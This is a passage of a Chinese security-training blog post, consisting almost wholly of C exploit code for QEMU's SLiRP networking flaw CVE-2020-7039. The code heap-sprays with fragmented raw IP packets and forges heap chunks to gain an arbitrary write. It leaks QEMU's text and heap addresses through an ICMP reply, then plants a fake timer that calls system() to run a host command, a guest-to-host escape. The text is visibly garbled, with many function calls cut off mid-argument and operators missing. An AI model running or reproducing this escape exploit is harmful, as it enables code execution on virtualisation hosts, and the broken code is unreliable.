*ptr;     int chksumlen = 0;     int i;      ptr =  // ptr points to beginning of buffer buf      // Copy Message Type to buf (8 bits)     memcpy(ptr,      ptr += sizeof(icmphdr.icmp_type);     chksumlen += sizeof(icmphdr.icmp_type);      // Copy Message Code to buf (8 bits)     memcpy(ptr,      ptr += sizeof(icmphdr.icmp_code);     chksumlen += sizeof(icmphdr.icmp_code);      // Copy ICMP checksum to buf (16 bits)     // Zero, since we don't know it yet     *ptr = 0;     ptr++;     *ptr = 0;     ptr++;     chksumlen += 2;      // Copy Identifier to buf (16 bits)     memcpy(ptr,      ptr += sizeof(icmphdr.icmp_id);     chksumlen += sizeof(icmphdr.icmp_id);      // Copy Sequence Number to buf (16 bits)     memcpy(ptr,      ptr += sizeof(icmphdr.icmp_seq);     chksumlen += sizeof(icmphdr.icmp_seq);      // Copy payload to buf     memcpy(ptr, payload, payloadlen);     ptr += payloadlen;     chksumlen += payloadlen;      // Pad to the next 16-bit boundary     for (i = 0; i  payloadlen % 2; i++, ptr++) {         *ptr = 0;         ptr++;         chksumlen++;     }      return checksum((uint16_t *)buf, chksumlen); }   uint16_t tcp4_checksum(struct ip iphdr, struct tcphdr tcphdr, uint8_t *payload,                        int payloadlen) {     uint16_t svalue;     char buf[IP_MAXPACKET], cvalue;     char *ptr;     int i, chksumlen = 0;      ptr =       memcpy(ptr,      ptr += sizeof(iphdr.ip_src.s_addr);     chksumlen += sizeof(iphdr.ip_src.s_addr);      memcpy(ptr,      ptr += sizeof(iphdr.ip_dst.s_addr);     chksumlen += sizeof(iphdr.ip_dst.s_addr);      *ptr = 0;     ptr++;     chksumlen += 1;      memcpy(ptr,      ptr += sizeof(iphdr.ip_p);     chksumlen += sizeof(iphdr.ip_p);      svalue = htons(sizeof(tcphdr) + payloadlen);     memcpy(ptr,      ptr += sizeof(svalue);     chksumlen += sizeof(svalue);      memcpy(ptr,      ptr += sizeof(tcphdr.th_sport);     chksumlen += sizeof(tcphdr.th_sport);      memcpy(ptr,      ptr += sizeof(tcphdr.th_dport);     chksumlen += sizeof(tcphdr.th_dport);      memcpy(ptr,      ptr += sizeof(tcphdr.th_seq);     chksumlen += sizeof(tcphdr.th_seq);      memcpy(ptr,      ptr += sizeof(tcphdr.th_ack);     chksumlen += sizeof(tcphdr.th_ack);      cvalue = (tcphdr.th_off  4) + tcphdr.th_x2;     memcpy(ptr,      ptr += sizeof(cvalue);     chksumlen += sizeof(cvalue);      memcpy(ptr,      ptr += sizeof(tcphdr.th_flags);     chksumlen += sizeof(tcphdr.th_flags);      memcpy(ptr,      ptr += sizeof(tcphdr.th_win);     chksumlen += sizeof(tcphdr.th_win);      *ptr = 0;     ptr++;     *ptr = 0;     ptr++;     chksumlen += 2;      memcpy(ptr,      ptr += sizeof(tcphdr.th_urp);     chksumlen += sizeof(tcphdr.th_urp);      memcpy(ptr, payload, payloadlen);     ptr += payloadlen;     chksumlen += payloadlen;      for (i = 0; i  payloadlen % 2; i++, ptr++) {         *ptr = 0;         ptr++;         chksumlen++;     }      return checksum((uint16_t *)buf, chksumlen); }  void hexdump(const char *desc, void *addr, int len) {     int i;     unsigned char buff[17];     unsigned char *pc = (unsigned char *)addr;      // Output description if given.     if (desc != NULL)         printf("%s:\n", desc);     if (len == 0) {         printf("  ZERO LENGTH\n");         return;     }     if (len  0) {         printf("  NEGATIVE LENGTH: %i\n", len);         return;     }      // Process every byte in the data.     for (i = 0; i  len; i++) {         // Multiple of 16 means new line (with line offset).         if ((i % 16) == 0) {             // Just don't print ASCII for the zeroth line.             if (i != 0)                 printf("  %s\n", buff);             // Output the offset.             printf("  %04x ", i);         }         // Now the hex code for the specific character.         printf(" %02x", pc[i]);         // And store a printable ASCII character for later.         if ((pc[i]  0x20) || (pc[i] > 0x7e))             buff[i % 16] = '.';         else             buff[i % 16] = pc[i];         buff[(i % 16) + 1] = '\0';     }     // Pad out last line if not exactly 16 characters.     while ((i % 16) != 0) {         printf("   ");         i++;     }     // And print the final ASCII bit.     printf("  %s\n", buff); }  void sendPacket(struct ip_packet_info *info, uint8_t *data, uint32_t data_len)  {     const int on = 1;     char *interface, *src_ip, *dst_ip;     unsigned char *packet;     struct ip ipHeader;     struct sockaddr_in sin;     struct ifreq ifr;     struct in_addr sock_addr;     packet        = (uint8_t*)calloc(1,IP_MAXPACKET);     interface    = (int8_t *)calloc(1,40);     src_ip         = (int8_t *)calloc(1,INET_ADDRSTRLEN);     dst_ip         = (int8_t *)calloc(1,INET_ADDRSTRLEN);      strcpy(interface, "enp0s3");     strcpy(src_ip, "127.0.0.1");     strcpy(dst_ip, "127.0.0.1");      // IPPROTO_RAW: 只能发送IP包     int32_t fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);     if (fd  0) errExit("socket() failed to get socket descriptor for using ioctl()");     memset(     snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);     // 查询网卡 interface index,用于后续socket 绑定网卡     if (ioctl(fd, SIOCGIFINDEX,  0) errExit("ioctl() failed to find interface.");     close(fd);      ipHeader.ip_hl    = IP4_HDRLEN / sizeof(uint32_t);   // IP_Header_LEN     ipHeader.ip_v     = 4;                                // Protocol Type: IPV4     ipHeader.ip_tos    = 0;                                // Type Of Service     ipHeader.ip_len    = htons(IP4_HDRLEN + data_len);     // Total Length     ipHeader.ip_id    = htons(info->ip_id);                // ID sequence number      // FLAGS: 长度为 3Bit     // 字段中第一位不使用     // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片     // 第三位是MF(More Fragments),MF = 0 指最后一个分片      // Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包.     ipHeader.ip_off    = htons((((uint16_t)info->MF  13) | (info->ip_off >> 3)));      ipHeader.ip_ttl    = 0xFF;                             // Time-to-Live,默认最大值255     ipHeader.ip_p    = info->ip_p;                        // 传输协议包类型      // inet_pton: 函数转换字符串到网络地址,"点分十进制" -> "二进制整数"     if (( inet_pton(AF_INET, src_ip,       ipHeader.ip_sum    = checksum((uint16_t *) // Calculate IP_Header Checksum      // 构造IPV4 Packet 用于发送     memcpy(packet,      memcpy(packet + IP4_HDRLEN, data, data_len);      memset(     sin.sin_family = AF_INET;     sin.sin_addr.s_addr = sock_addr.s_addr;      // 创造一个socket 只用于发送IP包     if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))  0) errExit("socket() failed.");      // 设置 IP_HDRINCL,用于发送手动构造IP Header的IP包     if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL,  0) errExit("setsockopt() failed to set IP_HDRINCL ");      // 绑定上述Socket 到网卡`ifr.ifr_name`接口     if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE,  0) errExit("setsockopt() failed to bind to interface ");      // 通过上述Socket向网卡中发送构造的IPV4的数据包     if (sendto(fd, packet, IP4_HDRLEN + data_len, 0,                (struct sockaddr *) 0) errExit("sendto() failed ");      close(fd);     free(packet);     free(interface);     free(src_ip);     free(dst_ip);     puts("====================== Send Packet Done! ======================"); }  int connect_with(char *ip,uint16_t port) {      int fd = socket(AF_INET,SOCK_STREAM, 0);     if(fd  0){         errExit("Socket");     }     struct sockaddr_in tcp_socket;     tcp_socket.sin_family = AF_INET;     tcp_socket.sin_port = htons(port);     tcp_socket.sin_addr.s_addr = inet_addr(ip);      if (connect(fd, (struct sockaddr *)       return fd; }   // heapSpray函数用于清空堆块列表 void heapSpray(int size, uint16_t ip_id) {     const int on = 1;     char *interface, *src_ip, *dst_ip;     unsigned char *packet;     char *payload;     int payload_len,i;     struct ip ipHeader;     struct tcphdr tcpHeader;     struct sockaddr_in sin;     struct ifreq ifr;      packet        = (uint8_t*)calloc(1,IP_MAXPACKET);     interface    = (int8_t *)calloc(1,40);     src_ip         = (int8_t *)calloc(1,INET_ADDRSTRLEN);     dst_ip         = (int8_t *)calloc(1,INET_ADDRSTRLEN);     payload     = (int8_t *)calloc(1,IP_MAXPACKET);      assert(size >= 0x54);     payload_len = size - 0x54;     strcpy(interface, "enp0s3");     strcpy(src_ip, "127.0.0.1");     strcpy(dst_ip, "127.0.0.1");      // IPPROTO_RAW: 只能发送IP包     int32_t fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);     if (fd  0) errExit("socket() failed to get socket descriptor for using ioctl()");     memset(     snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);     // 查询网卡 interface index,用于后续socket 绑定网卡     if (ioctl(fd, SIOCGIFINDEX,  0) errExit("ioctl() failed to find interface.");     close(fd);      ipHeader.ip_hl    = IP4_HDRLEN / sizeof(uint32_t);               // IP_Header_LEN     ipHeader.ip_v     = 4;                                            // Protocol Type: IPV4     ipHeader.ip_tos    = 0;                                            // Type Of Service     ipHeader.ip_len    = htons(IP4_HDRLEN + TCP_HDRLEN + payload_len); // Total Length     ipHeader.ip_id    = htons(ip_id);                                 // ID sequence number      // FLAGS: 长度为 3Bit     // 字段中第一位不使用     // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片     // 第三位是MF(More Fragments),MF = 0 指最后一个分片      // Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包.     ipHeader.ip_off    = htons((1  13));      ipHeader.ip_ttl    = 0xFF;                             // Time-to-Live,默认最大值255     ipHeader.ip_p    = IPPROTO_TCP;                      // 传输协议包类型      // inet_pton: 函数转换字符串到网络地址,"点分十进制" -> "二进制整数"     if (( inet_pton(AF_INET, src_ip,       ipHeader.ip_sum    = checksum((uint16_t *) // Calculate IP_Header Checksum      /*****************************************************/     tcpHeader.th_sport = htons(60);                // Source port number     tcpHeader.th_dport = htons(80);                // Destination port number     tcpHeader.th_seq   = htonl(0);                // TCP Sequence number     tcpHeader.th_ack   = htonl(0);                // Acknowledgement number     tcpHeader.th_x2    = 0;                        // Reserved     tcpHeader.th_off   = TCP_HDRLEN / 4;      int tcp_flags[8];     // Flags (8 bits)     // FIN flag (1 bit)     tcp_flags[0] = 0;     // SYN flag (1 bit)     tcp_flags[1] = 0;     // RST flag (1 bit)     tcp_flags[2] = 0;     // PSH flag (1 bit)     tcp_flags[3] = 1;     // ACK flag (1 bit)     tcp_flags[4] = 1;     // URG flag (1 bit)     tcp_flags[5] = 0;     // ECE flag (1 bit)     tcp_flags[6] = 0;     // CWR flag (1 bit)     tcp_flags[7] = 0;     for (i = 0; i  8; i++) {         tcpHeader.th_flags += (tcp_flags[i]  i);     }      tcpHeader.th_win = htons(0xFFFF);            // Window size     tcpHeader.th_urp = htons(0);                // Urgent pointer      // TCP checksum (16 bits)     tcpHeader.th_sum = tcp4_checksum(ipHeader, tcpHeader, (uint8_t *)payload, payload_len);      memcpy(packet,      memcpy(packet + IP4_HDRLEN,      memcpy(packet + IP4_HDRLEN + TCP_HDRLEN, payload, payload_len);      memset(     sin.sin_family = AF_INET;     sin.sin_addr.s_addr = ipHeader.ip_dst.s_addr;      // 创造一个socket 只用于发送IP包     if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))  0) errExit("socket() failed.");      // 设置 IP_HDRINCL,用于发送手动构造IP Header的IP包     if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL,  0) errExit("setsockopt() failed to set IP_HDRINCL ");      // 绑定上述Socket 到网卡`ifr.ifr_name`接口     if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE,  0) errExit("setsockopt() failed to bind to interface ");      // 通过上述Socket向网卡中发送构造的IPV4的数据包     if (sendto(fd, packet, IP4_HDRLEN + TCP_HDRLEN + payload_len, 0,                (struct sockaddr *) 0) errExit("sendto() failed ");      close(fd);     free(packet);     free(interface);     free(src_ip);     free(dst_ip);     free(payload); } void arbitrary_write(uint64_t addr, int addr_len, uint8_t *write_data,                     int write_data_len, int spray_times) {     struct ip_packet_info info;     int i;     assert(addr_len = 8);     char *payload = calloc(1,0x2000);     memset(payload,'F',0x2000);     // 清空堆块     for (i = 0; i  spray_times; ++i) {         printf("Spraying Size = 0x2000, id: %d\n", i);         heapSpray(0x2000, g_spray_ip_id + i);        }     uint16_t new_ip_id = g_spray_ip_id + spray_times;      uint16_t forAllocVuln0 = new_ip_id++;     info.ip_id = forAllocVuln0;     info.ip_off = 0;     info.MF = 1;     info.ip_p = 0xFF;     sendPacket(      uint16_t forAllocVuln1 = new_ip_id++;     info.ip_id = forAllocVuln1;     info.ip_off = 0;     info.MF = 1;     info.ip_p = 0xFF;     sendPacket(      // 防止堆块和top_chunk合并     uint16_t target = new_ip_id++;     info.ip_id = target;     info.ip_off = 0;     info.MF = 1;     info.ip_p = 0xFF;      uint64_t fake_chunk[0x10];     i = 0;     fake_chunk[i++] = 0xA00;     fake_chunk[i++] = 0x20;     fake_chunk[i++] = 0xDEAD;     fake_chunk[i++] = 0xCAFE;     fake_chunk[i++] = 0x20;     fake_chunk[i++] = 0x2C1;     memcpy(payload + 0x2E0,(void*)fake_chunk,0x30);     sendPacket(      info.ip_id = new_ip_id++;     info.ip_off = 0;     info.MF = 1;     info.ip_p = 0xFF;     sendPacket(      info.ip_id = forAllocVuln1;     info.ip_off = 8;     info.MF = 0;     info.ip_p = 0xFF;     sendPacket( // 结束 Vuln1 请求,将0xCE0大小的堆块进入unsorted bin     /************** Heap Layout Finished *****************/       int fd = connect_with("10.0.2.2",6667);     char s[0x30] = "DCC SEND TEST -1 -1 2333\0";     memset(payload,'F',0x1000);     memcpy(payload + 0x5AA - strlen(s) ,s,strlen(s));     write(fd,payload,0x5AA);     memset(payload,'F',0x1000);      info.ip_id = forAllocVuln0;     info.ip_off = 8;     info.MF = 0;     info.ip_p = 0xFF;     sendPacket(      // padding     info.ip_id = new_ip_id++;     info.ip_off = 0;     info.MF = 1;     info.ip_p = 0xFF;     sendPacket(      uint16_t vuln = new_ip_id++;     info.ip_id = vuln;     info.ip_off = 0;     info.ip_p = 0xFF;      i = 0;     uint64_t fake[0x20];     fake[i++] = 0;     fake[i++] = 0x675;                 // chunk size     fake[i++] = 0;                     // m_next     fake[i++] = 0;                    // m_prev     fake[i++] = 0;                     // m_nextpkt     fake[i++] = 0;                    // m_prevpkt     fake[i++] = ((size_t)0x608  32) | 0;    // m_size  32 | m_flags     fake[i++] = 0;                    // m_so     fake[i++] = addr;                // m_data      memcpy(payload + 0x230,     if(addr_len  8) {         info.MF = 1;         sendPacket(          info.ip_id = vuln;         info.ip_off = 0x270;         info.MF = 0;         info.ip_p = 0xFF;          sendPacket(     } else {         info.MF = 0;         sendPacket(     }      // padding     info.ip_id = new_ip_id++;     info.ip_off = 0;     info.MF = 1;     info.ip_p = 0xFF;     sendPacket(      info.ip_id = target;     info.ip_off = 0x310;     info.MF = 0;     info.ip_p = 0xFF;     sendPacket(      close(fd);     free(payload); }  void leak(uint64_t addr, int addr_len) {     struct ip_packet_info info;     int i,recvfd;     assert(addr_len = 8);     char *payload = calloc(1,0x2000);     memset(payload,'F',0x2000);     // 清空堆块     for (i = 0; i  0x20; ++i) {         printf("Spraying Size = 0x2000, id: %d\n", i);         heapSpray(0x2000, g_spray_ip_id + i);        }     uint16_t new_ip_id = g_spray_ip_id + 0x20;      uint16_t forAllocVuln0 = new_ip_id++;     info.ip_id = forAllocVuln0;     info.ip_off = 0;     info.MF = 1;     info.ip_p = 0xFF;     sendPacket(      uint16_t forAllocVuln1 = new_ip_id++;     info.ip_id = forAllocVuln1;     info.ip_off = 0;     info.MF = 1;     info.ip_p = 0xFF;     sendPacket(      // 防止堆块和top_chunk合并     uint16_t target = new_ip_id++;     info.ip_id = target;     info.ip_off = 0;     info.MF = 1;     info.ip_p = IPPROTO_ICMP;      uint64_t fake_chunk[0x10];     i = 0;     fake_chunk[i++] = 0xA00;     fake_chunk[i++] = 0x20;     fake_chunk[i++] = 0xDEAD;     fake_chunk[i++] = 0xCAFE;     fake_chunk[i++] = 0x20;     fake_chunk[i++] = 0x2C1;     memcpy(payload + 0x2E0,(void*)fake_chunk,0x30);     sendPacket(      info.ip_id = new_ip_id++;     info.ip_off = 0;     info.MF = 1;     info.ip_p = 0xFF;     sendPacket(      info.ip_id = forAllocVuln1;     info.ip_off = 8;     info.MF = 0;     info.ip_p = 0xFF;     sendPacket( // 结束 Vuln1 请求,将0xCE0大小的堆块进入unsorted bin     /************** Heap Layout Finished *****************/       int fd = connect_with("10.0.2.2",6667);     char s[0x30] = "DCC SEND TEST -1 -1 2333\0";     memset(payload,'F',0x1000);     memcpy(payload + 0x5AA - strlen(s) ,s,strlen(s));     write(fd,payload,0x5AA);     memset(payload,'F',0x1000);      info.ip_id = forAllocVuln0;     info.ip_off = 8;     info.MF = 0;     info.ip_p = 0xFF;     sendPacket(      // padding     info.ip_id = new_ip_id++;     info.ip_off = 0;     info.MF = 1;     info.ip_p = 0xFF;     sendPacket(      uint16_t vuln = new_ip_id++;     info.ip_id = vuln;     info.ip_off = 0;     info.MF = 1;     info.ip_p = 0xFF;      i = 0;     uint64_t fake[0x20];     fake[i++] = 0;     fake[i++] = 0x675;                 // chunk size     fake[i++] = 0;                     // m_next     fake[i++] = 0;                    // m_prev     fake[i++] = 0;                     // m_nextpkt     fake[i++] = 0;                    // m_prevpkt     fake[i++] = ((size_t)0x608  32) | 0;    // m_size  32 | m_flags     fake[i++] = 0;                    // m_so     fake[i++] = addr;                // m_data      memcpy(payload + 0x230,     sendPacket(      info.ip_id = vuln;     info.ip_off = 0x270;     info.MF = 0;     info.ip_p = 0xFF;      sendPacket(      // padding     info.ip_id = new_ip_id++;     info.ip_off = 0;     info.MF = 1;     info.ip_p = 0xFF;      sendPacket(      info.ip_id = target;     info.ip_off = 0x310;     info.MF = 0;     info.ip_p = IPPROTO_ICMP;      recvfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); // 需要放置在 结束ICMP请求之前      sendPacket(      /**************************/     int bytes, status;     struct ip *recv_iphdr;     struct icmp *recv_icmphdr;     uint8_t recv_ether_frame[IP_MAXPACKET];     struct sockaddr from;     socklen_t fromlen;     struct timeval wait;      wait.tv_sec = 2;     wait.tv_usec = 0;     setsockopt(recvfd, SOL_SOCKET, SO_RCVTIMEO, (char *)     recv_iphdr = (struct ip *)(recv_ether_frame + ETH_HDRLEN);     recv_icmphdr = (struct icmp *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);     while (1) {         memset(recv_ether_frame, 0, IP_MAXPACKET);         memset(         fromlen = sizeof(from);         if ((bytes = recvfrom(recvfd, recv_ether_frame, IP_MAXPACKET, 0, (struct sockaddr *) 0) {             status = errno;             if (status == EAGAIN) { // EAGAIN = 11                 errExit("No reply");             } else if (status == EINTR) { // EINTR = 4                 continue;             } else {                 errExit("recvfrom() failed ");             }         }         if ((((recv_ether_frame[12]  8) + recv_ether_frame[13]) == ETH_P_IP)  0x200) continue;             hexdump("ping recv", recv_ether_frame, bytes);             text_base = ((*(uint64_t *)(recv_ether_frame + 0x60)) - 0x4584C2)              heap_base = (*(uint64_t *)(recv_ether_frame + 0x48))              printf("TEXT BASE: %#lX\n"                    "HEAP BASE: %#lX\n",                     text_base, heap_base);             break;         } // End if IP ethernet frame carrying ICMP_ECHOREPLY     }      close(fd);     close(recvfd);     free(payload);     puts("=================== Leak Finished! ====================");  } const char eth_frame[0x10] = {     // Ethernet Frame Header Data     // DST MAC 52:54:00:12:34:56     0x52, 0x54, 0x00, 0x12, 0x34, 0x56,     // SRC MAC 52:54:00:12:34:56     0x52, 0x54, 0x00, 0x12, 0x34, 0x56,      // Length / Type: IPv4     0x08, 0x00 };  const char exec_cmd[] = "/usr/bin/gnome-calculator"; int main() {     struct icmp *icmpHeader;     struct ip *ipHeader;     uint8_t eth_packet[IP_MAXPACKET];     char src_ip[INET_ADDRSTRLEN], dst_ip[INET_ADDRSTRLEN];     int status;      memcpy(eth_packet, eth_frame, ETH_HDRLEN);     ipHeader = (struct ip *)(eth_packet + ETH_HDRLEN);      strcpy(src_ip, "10.0.2.15");     strcpy(dst_ip, "10.0.2.2");      ipHeader->ip_hl        = IP4_HDRLEN / sizeof(uint32_t);   // IP_Header_LEN     ipHeader->ip_v         = 4;                                // Protocol Type: IPV4     ipHeader->ip_tos    = 0;                                // Type Of Service     ipHeader->ip_len    = (ICMP_HDRLEN);                    // Total Length     ipHeader->ip_id        = 0xCDCD;                           // ID sequence number      // FLAGS: 长度为 3Bit     // 字段中第一位不使用     // 第二位是DF(Don't Fragment),指明当前的packet包是否是不可分片的     // 第三位是MF(More Fragments),指明当前的包是否是分片序列的最后一个,MF = 0则是最后一个包      // Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包.     ipHeader->ip_off    = 0;     ipHeader->ip_ttl    = 0xFF;                         // Time-to-Live,默认最大值255     ipHeader->ip_p        = IPPROTO_ICMP;                 // 传输协议包类型     if (( inet_pton(AF_INET, src_ip,      ipHeader->ip_sum    = checksum((uint16_t *) // Calculate IP_Header Checksum      icmpHeader = (struct icmp *)(eth_packet + ETH_HDRLEN + IP4_HDRLEN);     icmpHeader->icmp_type     = ICMP_ECHO;     icmpHeader->icmp_code     = 0;            // Message Code     icmpHeader->icmp_id     = htons(1000);  // Identifier     icmpHeader->icmp_seq     = htons(0);     // Sequence Number     icmpHeader->icmp_cksum     = icmp4_checksum(*icmpHeader, eth_packet, 0);   // ICMP Checksum      // 向 0x*000B00处写入 ETH Packet     memcpy(eth_packet + ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN, exec_cmd,            strlen(exec_cmd) + 1);     g_spray_ip_id = 0xAABB;     arbitrary_write(         0x000B00 - 0x310, 3, eth_packet,         ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN + strlen(exec_cmd) + 1, 0x100); // 将伪造的ICMP包和参数写入到某处确定地址     g_spray_ip_id = 0xBBCC;     leak(0x000B00 + IP4_HDRLEN + ETH_HDRLEN,3);      /********************** Leak Finished *****************************/      size_t *fake_timer_list = (uint64_t *)calloc(1,0x200);     size_t fake_timer_list_ptr = heap_base + 0x1000;     fake_timer_list[0]  = text_base + 0xE40D40;         // qemu_clocks     fake_timer_list[7]     = 0x0000000100000000;     fake_timer_list[8]     = fake_timer_list_ptr + 0x70;   // active_timers -> fake_QEMUTimer     fake_timer_list[9]     = 0;     fake_timer_list[10] = 0;     fake_timer_list[11] = text_base + 0x2E5C41;         // qemu_timer_notify_cb     fake_timer_list[12] = 0;     fake_timer_list[13] = 0x0000000100000000;      // following is fake_QEMUTimer     fake_timer_list[14] = 0;                             // expire_time set to 0 will trigger func cb     fake_timer_list[15] = fake_timer_list_ptr;     fake_timer_list[16] = text_base + 0x28E280;            // system     fake_timer_list[17] = heap_base + 0xB00 + ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN;  // cmd的地址     fake_timer_list[18] = 0;     fake_timer_list[19] = 0x000F424000000000;      g_spray_ip_id = 0xCCDD;     arbitrary_write(fake_timer_list_ptr - 0x310, 8, (void*)fake_timer_list, 0xA0, 0x30);      size_t TMP = fake_timer_list_ptr;     g_spray_ip_id = 0xDDBB;     size_t main_loop_tlg = text_base + 0xE40D20;     arbitrary_write(main_loop_tlg - 0x310, 8, (void*) }

转载请注明来自网盾网络安全培训,本文标题:《QEMU-CVE-2020-7039》

标签:漏洞分析QEMUQEMU漏洞

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表